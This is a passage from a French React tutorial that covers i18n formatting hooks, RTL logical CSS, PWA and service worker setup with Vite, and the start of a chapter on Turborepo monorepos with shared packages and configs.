━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
95.2 — HOOK USEFORMATTERS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/useFormatters.ts
  import { useMemo } from 'react';
  import { useTranslation } from 'react-i18next';
  import * as formatters from '@/lib/formatters';

  function useFormatters() {
    const { i18n } = useTranslation();
    const locale = i18n.language;

    return useMemo(() => ({
      date:     (d: Date | string, opts?: Intl.DateTimeFormatOptions) =>
                  formatters.formatDate(d, locale, opts),
      relative: (d: Date | string) => formatters.formatRelativeDate(d, locale),
      number:   (n: number) => formatters.formatNumber(n, locale),
      currency: (n: number, currency = 'EUR') =>
                  formatters.formatCurrency(n, currency, locale),
      duration: (h: number) => formatters.formatDuration(h, locale),
    }), [locale]);
  }

  export default useFormatters;

  // Utilisation dans les composants :
  function TaskCard({ task }: { task: Task }) {
    const { t }      = useTranslation('tasks');
    const { date, relative, duration } = useFormatters();

    return (
      <article>
        <h3>{task.title}</h3>
        {task.dueDate && (
          <time
            dateTime={task.dueDate}
            title={date(task.dueDate)}  // Format long au hover
          >
            {relative(task.dueDate)}  {/* "dans 3 jours", "hier"... */}
          </time>
        )}
        {task.estimatedHours && (
          <span>{duration(task.estimatedHours)}</span>  {/* "4h 30min" */}
        )}
      </article>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 96 : RTL — RIGHT TO LEFT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
96.1 — CSS LOGIQUE POUR RTL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le CSS "physique" (left/right) ne fonctionne pas bien en RTL.
Le CSS "logique" s'adapte automatiquement selon la direction.

  /* CSS PHYSIQUE (LTR uniquement) -> À ÉVITER : */
  .task-card { margin-left: 16px; padding-left: 12px; }
  .icon      { float: left; margin-right: 8px; }
  .badge     { border-radius: 0 4px 4px 0; }

  /* CSS LOGIQUE (LTR + RTL automatique) -> À PRÉFÉRER : */
  .task-card { margin-inline-start: 16px; padding-inline-start: 12px; }
  /* LTR: margin-left: 16px  |  RTL: margin-right: 16px */

  .icon      { float: inline-start; margin-inline-end: 8px; }
  /* LTR: float: left; margin-right  |  RTL: float: right; margin-left */

  .badge     { border-start-end-radius: 4px; border-end-end-radius: 4px; }

  /* PROPRIÉTÉS LOGIQUES COMPLÈTES :
     left/right              -> inline-start / inline-end
     top/bottom              -> block-start / block-end
     margin-left             -> margin-inline-start
     margin-right            -> margin-inline-end
     padding-left            -> padding-inline-start
     padding-right           -> padding-inline-end
     border-left             -> border-inline-start
     text-align: left        -> text-align: start
     text-align: right       -> text-align: end
     float: left             -> float: inline-start
     position left/right     -> inset-inline-start / inset-inline-end
  */

  /* Support RTL global dans variables.css : */
  :root {
    --direction: ltr;
    --text-align-start: left;
    --text-align-end: right;
  }

  [dir="rtl"] {
    --direction: rtl;
    --text-align-start: right;
    --text-align-end: left;
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
96.2 — GESTION RTL EN REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Initialisation de la direction au chargement :
  // src/i18n/config.ts
  i18n.on('languageChanged', (lang) => {
    const langConfig = SUPPORTED_LANGUAGES.find(l => l.code === lang);
    const dir = langConfig?.dir ?? 'ltr';
    document.documentElement.setAttribute('lang', lang);
    document.documentElement.setAttribute('dir', dir);
  });

  // Hook useRTL :
  function useRTL() {
    const { i18n } = useTranslation();
    const lang = SUPPORTED_LANGUAGES.find(l => l.code === i18n.language);
    return lang?.dir === 'rtl';
  }

  // Icônes directionnelles (flèches, chevrons) :
  function ChevronIcon() {
    const isRTL = useRTL();
    return (
      <svg
        style={{ transform: isRTL ? 'scaleX(-1)' : 'none' }}
        // ou : className={isRTL ? 'flip-horizontal' : ''}
      >
        {/* Flèche pointant à droite — miroir en RTL */}
        <path d="M9 5l7 7-7 7" />
      </svg>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 97 : PROGRESSIVE WEB APP (PWA) AVEC VITE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
97.1 — QU'EST-CE QU'UNE PWA ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Une PWA (Progressive Web App) est une app web qui se comporte comme
une app native :
  [OK] Installable sur le homescreen (iOS, Android, Desktop)
  [OK] Fonctionne offline (Service Worker + cache)
  [OK] Notifications push (si permission accordée)
  [OK] Accès aux APIs natives (caméra, géoloc, gyroscope...)
  [OK] Mise à jour en arrière-plan

CRITÈRES PWA (Chrome Lighthouse) :
  • HTTPS obligatoire
  • Web App Manifest (manifest.json)
  • Service Worker enregistré
  • Icônes adaptatives (maskable icons)
  • Premier rendu rapide (FCP < 3s)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
97.2 — SETUP PWA AVEC VITE-PLUGIN-PWA
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install -D vite-plugin-pwa workbox-window

  // vite.config.ts
  import { defineConfig } from 'vite';
  import react from '@vitejs/plugin-react';
  import { VitePWA } from 'vite-plugin-pwa';

  export default defineConfig({
    plugins: [
      react(),
      VitePWA({
        registerType:    'autoUpdate',  // Met à jour le SW automatiquement
        injectRegister: 'auto',
        workbox: {
          globPatterns:    ['**/*.{js,css,html,ico,png,svg,woff2}'],
          runtimeCaching: [
            {
              // Cache des requêtes API (network-first) :
              urlPattern: /^https:\/\/api\.taskflow\.app\/.*/i,
              handler:    'NetworkFirst',
              options: {
                cacheName:                   'api-cache',
                expiration: { maxEntries: 100, maxAgeSeconds: 60 * 60 },  // 1h
                networkTimeoutSeconds:       10,
                cacheableResponse: { statuses: [0, 200] },
              },
            },
            {
              // Cache des images (cache-first) :
              urlPattern: /\.(png|jpg|jpeg|svg|gif|webp)$/i,
              handler:    'CacheFirst',
              options: {
                cacheName: 'images-cache',
                expiration: { maxEntries: 50, maxAgeSeconds: 60 * 60 * 24 * 30 },  // 30j
              },
            },
            {
              // Cache des polices Google (stale-while-revalidate) :
              urlPattern: /^https:\/\/fonts\.googleapis\.com\/.*/i,
              handler:    'StaleWhileRevalidate',
              options: { cacheName: 'google-fonts-cache' },
            },
          ],
        },
        manifest: {
          name:             'TaskFlow — Gestion de tâches',
          short_name:       'TaskFlow',
          description:      'Gérez vos projets et tâches efficacement',
          theme_color:      '#2563eb',
          background_color: '#f9fafb',
          display:          'standalone',
          orientation:      'portrait',
          scope:            '/',
          start_url:        '/',
          lang:             'fr',
          icons: [
            {
              src:     'pwa-64x64.png',
              sizes:   '64x64',
              type:    'image/png',
            },
            {
              src:     'pwa-192x192.png',
              sizes:   '192x192',
              type:    'image/png',
            },
            {
              src:     'pwa-512x512.png',
              sizes:   '512x512',
              type:    'image/png',
              purpose: 'any',
            },
            {
              src:     'maskable-icon-512x512.png',
              sizes:   '512x512',
              type:    'image/png',
              purpose: 'maskable',  // Icône adaptative (ronde sur Android)
            },
          ],
          screenshots: [
            {
              src:    'screenshot-dashboard.png',
              sizes:  '1280x800',
              type:   'image/png',
              label:  'Tableau de bord TaskFlow',
            },
          ],
          shortcuts: [
            {
              name:       'Nouvelle tâche',
              short_name: 'Nouvelle tâche',
              description: 'Créer une nouvelle tâche',
              url:        '/tasks/new',
              icons:      [{ src: 'shortcut-new-task.png', sizes: '192x192' }],
            },
          ],
          categories:       ['productivity', 'business'],
          display_override: ['window-controls-overlay', 'standalone'],
        },
        devOptions: {
          enabled: true,  // Activer le SW en dev (pour tester)
        },
      }),
    ],
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 98 : SERVICE WORKERS ET STRATÉGIES DE CACHE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
98.1 — STRATÉGIES DE CACHE WORKBOX
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  STRATÉGIE            COMPORTEMENT                     USAGE
  ─────────────────    ──────────────────────────────   ─────────────────────
  CacheFirst           Cache -> réseau si absent          Images, polices, JS
  NetworkFirst         Réseau -> cache si offline         API (données fraîches)
  StaleWhileRevalidate Cache immédiat + màj en fond      Données semi-statiques
  NetworkOnly          Réseau uniquement                  Données critiques
  CacheOnly            Cache uniquement                  Assets offline critiques

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
98.2 — DÉTECTION ET GESTION DE L'ÉTAT OFFLINE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/useOnlineStatus.ts
  import { useState, useEffect } from 'react';

  function useOnlineStatus() {
    const [isOnline, setIsOnline] = useState(navigator.onLine);

    useEffect(() => {
      const handleOnline  = () => setIsOnline(true);
      const handleOffline = () => setIsOnline(false);

      window.addEventListener('online',  handleOnline);
      window.addEventListener('offline', handleOffline);

      return () => {
        window.removeEventListener('online',  handleOnline);
        window.removeEventListener('offline', handleOffline);
      };
    }, []);

    return isOnline;
  }

  export default useOnlineStatus;

  // src/components/common/OfflineBanner/OfflineBanner.tsx
  import useOnlineStatus from '@/hooks/useOnlineStatus';
  import { useTranslation } from 'react-i18next';

  function OfflineBanner() {
    const isOnline = useOnlineStatus();
    const { t }    = useTranslation('common');

    if (isOnline) return null;

    return (
      <div
        className="offline-banner"
        role="status"
        aria-live="assertive"
        aria-label={t('offline.status')}
      >
        <span aria-hidden="true">[RESEAU]</span>
        <p>
          <strong>{t('offline.title')}</strong>
          {' — '}
          {t('offline.description')}
        </p>
      </div>
    );
  }

  export default OfflineBanner;


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 99 : INSTALLATION PWA ET FONCTIONNALITÉS NATIVES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
99.1 — PROMPT D'INSTALLATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/usePWAInstall.ts
  import { useState, useEffect } from 'react';

  interface BeforeInstallPromptEvent extends Event {
    prompt:         () => Promise<void>;
    userChoice:     Promise<{ outcome: 'accepted' | 'dismissed' }>;
  }

  function usePWAInstall() {
    const [installPrompt, setInstallPrompt] = useState<BeforeInstallPromptEvent | null>(null);
    const [isInstalled,   setIsInstalled]   = useState(false);
    const [isInstalling,  setIsInstalling]  = useState(false);

    useEffect(() => {
      // Vérifier si l'app est déjà installée :
      const isStandalone =
        window.matchMedia('(display-mode: standalone)').matches ||
        (window.navigator as any).standalone === true;
      setIsInstalled(isStandalone);

      // Intercepter le prompt natif d'installation :
      const handler = (e: Event) => {
        e.preventDefault();  // Empêcher l'affichage automatique
        setInstallPrompt(e as BeforeInstallPromptEvent);
      };

      window.addEventListener('beforeinstallprompt', handler);

      // Détecter si l'app a été installée :
      window.addEventListener('appinstalled', () => {
        setIsInstalled(true);
        setInstallPrompt(null);
      });

      return () => {
        window.removeEventListener('beforeinstallprompt', handler);
      };
    }, []);

    const install = async (): Promise<boolean> => {
      if (!installPrompt) return false;
      setIsInstalling(true);
      try {
        await installPrompt.prompt();
        const { outcome } = await installPrompt.userChoice;
        if (outcome === 'accepted') {
          setInstallPrompt(null);
          setIsInstalled(true);
          return true;
        }
        return false;
      } finally {
        setIsInstalling(false);
      }
    };

    return {
      canInstall:  !!installPrompt && !isInstalled,
      isInstalled,
      isInstalling,
      install,
    };
  }

  export default usePWAInstall;

  // Composant bouton d'installation :
  function InstallAppButton() {
    const { t }                  = useTranslation('common');
    const { canInstall, install, isInstalling } = usePWAInstall();

    if (!canInstall) return null;

    return (
      <button
        className="btn btn-primary install-btn"
        onClick={install}
        disabled={isInstalling}
      >
        <span aria-hidden="true">[MOBILE]</span>
        {isInstalling ? t('installing') : t('install_app')}
      </button>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
99.2 — MISE À JOUR DU SERVICE WORKER
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/useSWUpdate.ts
  import { useEffect, useState } from 'react';
  import { useRegisterSW }       from 'virtual:pwa-register/react';

  function useSWUpdate() {
    const {
      needRefresh: [needRefresh, setNeedRefresh],
      updateServiceWorker,
    } = useRegisterSW({
      onRegistered(r) {
        console.log('SW enregistré:', r);
      },
      onRegisterError(error) {
        console.error('SW erreur:', error);
      },
    });

    const close = () => setNeedRefresh(false);

    return { needRefresh, updateServiceWorker, close };
  }

  // Composant de notification de mise à jour :
  function UpdatePrompt() {
    const { t }                            = useTranslation('common');
    const { needRefresh, updateServiceWorker, close } = useSWUpdate();

    if (!needRefresh) return null;

    return (
      <div className="update-prompt" role="alert">
        <span>{t('update.available')}</span>
        <button onClick={() => updateServiceWorker(true)}>
          {t('update.now')}
        </button>
        <button onClick={close} aria-label={t('update.dismiss')}>
          [X]
        </button>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 15
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-15.1 : Configurer react-i18next avec les locales fr et en.
            Traduire le Header (nav, user menu, déconnexion).

  EX-15.2 : Composant LanguageSwitcher avec 3 langues (fr, en, de).
            Persistance dans localStorage, mise à jour de document.lang.

  EX-15.3 : Hook useFormatters. Utiliser dans TaskCard :
            date relative pour l'échéance, pluriels pour les sous-tâches.

NIVEAU INTERMÉDIAIRE :
  EX-15.4 : Traduire TaskForm complet (labels, placeholders, erreurs Zod,
            messages de succès dans les toasts).

  EX-15.5 : Support RTL pour la locale arabe.
            Vérifier que le layout TaskCard est correct en dir="rtl".

  EX-15.6 : Configurer VitePWA avec les 4 stratégies de cache.
            Tester le mode offline (Network throttle -> Offline dans DevTools).

NIVEAU AVANCÉ :
  EX-15.7 : Ajouter une 4ème locale (ex: portugais du Brésil pt-BR).
            Traduire tous les namespaces, tester les pluriels.

  EX-15.8 : Prompt d'installation PWA personnalisé.
            Afficher une bannière "Installer TaskFlow" après 2e visite.
            Tester sur Chrome Android (DevTools -> Application -> Manifest).

  EX-15.9 : Mode offline complet :
            Afficher les tâches depuis le cache React Query si offline.
            Bannière offline persistante, retry automatique à la reconnexion.


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 15
════════════════════════════════════════════════════════════════════════════════

  [OK] I18n vs L10n : internationaliser le code, localiser le contenu
  [OK] react-i18next : useTranslation, namespaces, détection de langue
  [OK] Fichiers JSON structurés par namespace et langue
  [OK] Pluriels ICU : _one, _other, _few, _many selon les langues
  [OK] Interpolation : t('greeting', { name }) -> "Bonjour Alice"
  [OK] LanguageSwitcher : changeLanguage, persistance localStorage
  [OK] API Intl : DateTimeFormat, NumberFormat, RelativeTimeFormat, Collator
  [OK] useFormatters : hook centralisé pour tous les formats
  [OK] RTL : CSS logique (inline-start/end), dir="rtl" sur html
  [OK] PWA : manifest.json, Service Worker, icônes maskable
  [OK] VitePWA : configuration, stratégies Workbox (NetworkFirst, CacheFirst...)
  [OK] useOnlineStatus : détecter offline et afficher une bannière
  [OK] usePWAInstall : intercepter beforeinstallprompt, prompt custom
  [OK] useSWUpdate : détecter les mises à jour du Service Worker

PROCHAINE PARTIE : Architecture Monorepo Turborepo et micro-frontends
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 15 -> Continuer : react_master_part_16.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 16 : MONOREPO TURBOREPO ET ARCHITECTURE ENTERPRISE
================================================================================
VERSION 1.0 | CHAPITRES 100–107 | PROJET : TaskFlow Enterprise Monorepo
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 100  ->  Monorepo — Concepts et motivations
  CHAPITRE 101  ->  Turborepo — Setup et configuration
  CHAPITRE 102  ->  Packages partagés dans le monorepo
  CHAPITRE 103  ->  Module Federation — Micro-frontends
  CHAPITRE 104  ->  Design System distribué (npm package)
  CHAPITRE 105  ->  Feature Flags et experimentation
  CHAPITRE 106  ->  Analytics et tracking dans React
  CHAPITRE 107  ->  Architecture DDD (Domain-Driven Design) pour React
  PROJET        ->  TaskFlow Enterprise — Architecture complète
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 100 : MONOREPO — CONCEPTS ET MOTIVATIONS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
100.1 — POLYREPO vs MONOREPO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

POLYREPO : Un repo Git par projet/service.
  ├── github.com/taskflow/frontend
  ├── github.com/taskflow/backend-api
  ├── github.com/taskflow/design-system
  └── github.com/taskflow/mobile-app

  Problèmes polyrepo :
  [X] Synchronisation des versions (design-system@1.2 vs @1.3 selon les repos)
  [X] Refactoring cross-repo impossible atomiquement
  [X] Duplication de configuration (ESLint, TS, Prettier)
  [X] Partager du code -> publier sur npm ou copier
  [X] CI/CD complexe à maintenir en cohérence

MONOREPO : Tous les projets dans un seul repo Git.
  taskflow/
  ├── apps/
  │   ├── web/           <- App React principale
  │   ├── mobile/        <- React Native
  │   ├── admin/         <- Dashboard admin
  │   └── api/           <- Backend Node.js
  └── packages/
      ├── ui/            <- Design system partagé
      ├── config/        <- Configs partagées (TS, ESLint)
      ├── types/         <- Types TypeScript partagés
      ├── utils/         <- Fonctions utilitaires partagées
      └── api-client/    <- Client API TypeScript partagé

  Avantages monorepo :
  [OK] Partage de code natif (import depuis packages/)
  [OK] Refactoring atomique (un commit, plusieurs packages)
  [OK] Configuration partagée (une source de vérité)
  [OK] Build incrémental (ne rebuild que ce qui a changé)
  [OK] Tests intégrés cross-packages
  [OK] Qui utilise React, Vercel, Meta, Google, Microsoft...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
100.2 — OUTILS MONOREPO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  TURBOREPO  -> Build orchestration (cache, pipelines, parallel)
  NX         -> Monorepo plus complet (code generation, affected)
  PNPM       -> Package manager optimisé pour les monorepos (hoisting, workspaces)
  YARN BERRY -> Workspaces + PnP (Plug'n'Play)

  RECOMMANDATION : pnpm + Turborepo


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 101 : TURBOREPO — SETUP ET CONFIGURATION
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
101.1 — CRÉER LE MONOREPO TASKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Créer le monorepo avec le template Turborepo :
  npx create-turbo@latest taskflow-enterprise
  cd taskflow-enterprise

  # Ou ajouter Turborepo à un projet existant :
  npm install turbo --save-dev

STRUCTURE COMPLÈTE :

  taskflow-enterprise/
  ├── apps/
  │   ├── web/                  <- Vite + React (app principale)
  │   │   ├── src/
  │   │   ├── package.json
  │   │   └── vite.config.ts
  │   ├── admin/                <- Next.js (dashboard admin)
  │   │   ├── src/
  │   │   └── package.json
  │   ├── mobile/               <- Expo React Native
  │   │   └── package.json
  │   └── api/                  <- Node.js + Fastify/Express
  │       └── package.json
  ├── packages/
  │   ├── ui/                   <- Design System (composants)
  │   │   ├── src/
  │   │   │   ├── components/
  │   │   │   ├── styles/
  │   │   │   └── index.ts
  │   │   ├── package.json
  │   │   └── tsconfig.json
  │   ├── types/                <- Types TypeScript partagés
  │   │   ├── src/
  │   │   │   ├── task.types.ts
  │   │   │   ├── user.types.ts
  │   │   │   └── index.ts
  │   │   └── package.json
  │   ├── utils/                <- Fonctions utilitaires partagées
  │   │   ├── src/
  │   │   │   ├── task.utils.ts
  │   │   │   ├── date.utils.ts
  │   │   │   └── index.ts
  │   │   └── package.json
  │   ├── api-client/           <- Client HTTP TypeScript
  │   │   ├── src/
  │   │   │   ├── tasks.client.ts
  │   │   │   └── index.ts
  │   │   └── package.json
  │   ├── config-eslint/        <- Config ESLint partagée
  │   │   ├── base.js
  │   │   └── package.json
  │   ├── config-ts/            <- tsconfig partagé
  │   │   ├── base.json
  │   │   ├── nextjs.json
  │   │   └── package.json
  │   └── config-vitest/        <- Config Vitest partagée
  │       └── package.json
  ├── package.json              <- Root package (workspaces)
  ├── turbo.json                <- Config Turborepo
  └── pnpm-workspace.yaml       <- Config workspaces pnpm

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
101.2 — CONFIGURATION PNPM WORKSPACES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # pnpm-workspace.yaml
  packages:
    - 'apps/*'
    - 'packages/*'

  # package.json (root)
  {
    "name":    "taskflow-enterprise",
    "private": true,
    "scripts": {
      "build":   "turbo build",
      "dev":     "turbo dev",
      "lint":    "turbo lint",
      "test":    "turbo test",
      "type-check": "turbo type-check",
      "clean":   "turbo clean && rm -rf node_modules"
    },
    "devDependencies": {
      "turbo": "latest"
    },
    "engines": {
      "node": ">=20",
      "pnpm": ">=8"
    },
    "packageManager": "pnpm@8.15.0"
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
101.3 — CONFIGURATION TURBO.JSON
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // turbo.json
  {
    "$schema": "https://turbo.build/schema.json",
    "globalDependencies": ["**/.env.*local"],
    "tasks": {
      "build": {
        "dependsOn": ["^build"],  // Build les dépendances d'abord
        "inputs": ["src/**", "!**/*.test.ts"],
        "outputs": ["dist/**", ".next/**", "!.next/cache/**"]
      },
      "dev": {
        "cache": false,           // Ne pas cacher le mode dev
        "persistent": true        // Process long-running
      },
      "lint": {
        "dependsOn": ["^build"],
        "inputs": ["src/**", ".eslintrc.*"]
      },
      "test": {
        "dependsOn": ["^build"],
        "inputs":    ["src/**", "!src/**/*.stories.tsx"],
        "outputs":   ["coverage/**"]
      },
      "type-check": {
        "dependsOn": ["^build"]
      },
      "clean": {
        "cache": false
      }
    },
    "remoteCache": {
      "enabled": true  // Cache partagé entre développeurs (Vercel Remote Cache)
    }
  }

  # COMMANDES TURBOREPO :

  # Build tous les projets (en parallèle, cache intelligent) :
  turbo build

  # Build seulement l'app web et ses dépendances :
  turbo build --filter=web

  # Build seulement les projets modifiés depuis main :
  turbo build --filter='[origin/main]'

  # Dev de l'app web uniquement :
  turbo dev --filter=web

  # Tests de tous les packages affectés par les derniers changements :
  turbo test --filter='[HEAD^1]'

  # Voir le graphe de dépendances :
  turbo graph

  # Stats de build et cache hits :
  turbo build --summary


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 102 : PACKAGES PARTAGÉS DANS LE MONOREPO
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
102.1 — PACKAGE TYPES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // packages/types/package.json
  {
    "name":    "@taskflow/types",
    "version": "0.1.0",
    "private": true,
    "exports": {
      ".":     { "types": "./src/index.ts" }
    },
    "typesVersions": { "*": { "*": ["./src/*"] } }
  }

  // packages/types/src/index.ts
  export * from './task.types';
  export * from './user.types';
  export * from './api.types';

  // packages/types/src/task.types.ts
  export type Priority = 'low' | 'medium' | 'high' | 'critical';
  export type Status   = 'todo' | 'in_progress' | 'done' | 'cancelled';
  export type UserRole = 'admin' | 'manager' | 'user';

  export interface Task {
    id:          number;
    title:       string;
    description: string | null;
    status:      Status;
    priority:    Priority;
    dueDate:     string | null;
    completedAt: string | null;
    estimatedHours: number | null;
    tags:        string[];
    assignee:    UserSummary | null;
    createdAt:   string;
    updatedAt:   string;
  }

  export interface UserSummary {
    id:     number;
    name:   string;
    email:  string;
    avatar: string | null;
    role:   UserRole;
  }

  // Utilisation dans les apps :
  // apps/web/package.json :
  {
    "dependencies": {
      "@taskflow/types": "workspace:*"  // Référence locale workspace
    }
  }

  // apps/web/src/components/TaskCard.tsx :
  import type { Task } from '@taskflow/types';

  function TaskCard({ task }: { task: Task }) { ... }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
102.2 — PACKAGE UTILS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // packages/utils/package.json
  {
    "name": "@taskflow/utils",
    "version": "0.1.0",
    "private": true,
    "main":    "./src/index.ts",
    "exports": { ".": "./src/index.ts" },
    "devDependencies": { "@taskflow/types": "workspace:*" }
  }

  // packages/utils/src/index.ts
  export * from './task.utils';
  export * from './date.utils';
  export * from './format.utils';
  export * from './validation.utils';

  // packages/utils/src/task.utils.ts
  import type { Task, Priority } from '@taskflow/types';

  const PRIORITY_ORDER: Record<Priority, number> = {
    critical: 0, high: 1, medium: 2, low: 3,
  };

  export function sortTasksByPriority(tasks: Task[]): Task[] {
    return [...tasks].sort((a, b) =>
      PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority]
    );
  }

  export function isTaskOverdue(task: Task): boolean {
    if (task.status === 'done') return false;
    if (!task.dueDate) return false;
    return new Date(task.dueDate) < new Date();
  }

  export function getTaskCompletionPercentage(tasks: Task[]): number {
    if (tasks.length === 0) return 0;
    const done = tasks.filter(t => t.status === 'done').length;
    return Math.round((done / tasks.length) * 100);
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
102.3 — CONFIGURATION PARTAGÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // packages/config-ts/base.json
  {
    "$schema": "https://json.schemastore.org/tsconfig",
    "compilerOptions": {
      "strict":            true,
      "noUnusedLocals":    true,
      "noUnusedParameters": true,
      "esModuleInterop":   true,
      "skipLibCheck":      true,
      "moduleResolution":  "bundler",
      "resolveJsonModule": true,
      "declaration":       true,
      "declarationMap":    true,
      "sourceMap":         true
    }
  }

  // packages/config-ts/react.json
  {
    "$schema": "https://json.schemastore.org/tsconfig",
    "extends": "./base.json",
    "compilerOptions": {
      "lib":    ["ES2020", "DOM", "DOM.Iterable"],
      "jsx":    "react-jsx",
      "target": "ES2020"
    }
  }

  // apps/web/tsconfig.json
  {
    "extends": "@taskflow/config-ts/react",
    "compilerOptions": {
      "baseUrl": ".",
      "paths": {
        "@/*": ["./src/*"]
      }
    },
    "include": ["src"]
  }

  // packages/config-eslint/react.js
  module.exports = {
    extends: [
      'eslint:recommended',
      'plugin:@typescript-eslint/strict',
      'plugin:react-hooks/recommended',
      'plugin:jsx-a11y/recommended',
      'plugin:security/recommended',
    ],
    plugins: ['@typescript-eslint', 'react-hooks', 'jsx-a11y', 'security'],
    rules: {
      'no-console':                ['warn', { allow: ['warn', 'error'] }],
      '@typescript-eslint/no-explicit-any':              'error',
      '@typescript-eslint/consistent-type-imports':      'error',
